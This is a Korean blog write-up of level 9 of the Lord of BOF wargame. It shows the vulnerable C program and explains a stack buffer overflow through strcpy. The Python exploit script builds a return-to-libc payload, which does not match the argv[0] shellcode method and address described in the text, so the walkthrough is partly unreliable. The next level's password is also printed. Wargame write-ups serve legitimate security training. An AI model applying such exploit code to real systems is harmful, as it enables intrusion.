ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Lord of BOF - Challenge [9번] Troll -> Vampire
    WARGAME/LORD OF BOF 2018. 7. 4. 18:32

    [Summary]

    1. 39행의 취약한 strcpy 함수를 이용하여 40 바이트의 buffer 배열에 40바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.

    2. argv[0] 위치에 쉘코드를 위치 시킬 수 있다.

    3. buffer 배열에 dummy(44) 입력시킨 후 EIP 레지스터를 argv[0] 의 주소로 변조하여 ShellCode를 실행시킨다.

    4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.

    [Sourcecode]

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - vampire
            - check 0xbfff
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    main(int argc, char *argv[])
    {
            char buffer[40];
    
            if(argc < 2){
                    printf("argv error\n");
                    exit(0);
            }
    
            if(argv[1][47] != '\xbf')
            {
                    printf("stack is still your friend.\n");
                    exit(0);
            }
    
            // here is changed!
            if(argv[1][46] == '\xff')
            {
                    printf("but it's not forever\n");
                    exit(0);
            }
    
            strcpy(buffer, argv[1]);
            printf("%s\n", buffer);
    }
    

    [Analysis]

    소스코드를 보게 되면 39행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 이번 문제도 저번문제와 마찬가로 argv[0] 을 이용하여 exploit 을 진행 할 것이다.


    Polymorphic Shellcode 와 관련된 내용은 http://blog.int80.kr/64 을 참고 하시길 바랍니다. 또한, 이전 문제와 페이로드가 똑같기 때문에 자세한 내용은 생략합니다.


    먼저 bash2 를 실행 시키고 소프트 링크 파일을 실행 시켜 Core 파일을 생성합니다.


    argv[0] 의 주소 값을 알아냅니다.

    0xbffffbb3 주소가 argv[0] 의 주소이다. 하지만 './' 가 붙어있기 때문에 필자는 이 주소에 +2를 더한 0xbffffbb5 를 저장하였다.





    이제 이를 기반으로 한 파이썬 스크립트를 작성하여 exploit 을 할 것이다.

    [Exploit]

    # -*- coding: utf-8 -*-
    
    import struct
    
    p = lambda x : struct.pack("<I", x)
    
    ret = 0xbffefb1c
    system = 0x40058ae0
    binsh = 0x400fbff9
    
    payload = "A"*44 + p(ret)
    payload = payload + p(system) + "B"*4 + p(binsh)
    payload = payload + "\xc3\x90\x90\x90"
    
    print payload
    

    vampire : music world


    [References]


Designed by Tistory.